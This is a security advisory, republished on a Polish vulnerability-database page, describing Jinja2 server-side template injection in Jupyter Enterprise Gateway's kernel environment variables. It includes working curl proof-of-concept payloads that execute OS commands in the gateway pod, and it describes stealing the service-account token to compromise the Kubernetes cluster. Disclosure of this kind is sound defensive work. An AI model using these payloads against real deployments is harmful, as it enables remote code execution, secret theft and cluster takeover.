Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution
Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).
By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.
The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54sRemote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25senterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.
It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | jupyter-enterprise-gateway | >= 2.0.0rc2, < 3.3.0 | 3.3.0 |
Odnośniki
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H- Słabość (CWE)
CWE-1336- Platforma
- Python (PyPI)
- Paczka
jupyter-enterprise-gateway- Ujawniono
- 03.06.2026
- Aktualizacja
- 11.10.2026 12:20
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-f49j-v924-fx9w - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-364 - PyPA Advisory Database; CC BY 4.0
Historia podatności: jupyter-enterprise-gateway
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 3
- Pierwsza → ostatnia
- 06.2026 06.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 3
Ujawnienia w latach
- 2026: 3
-
Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.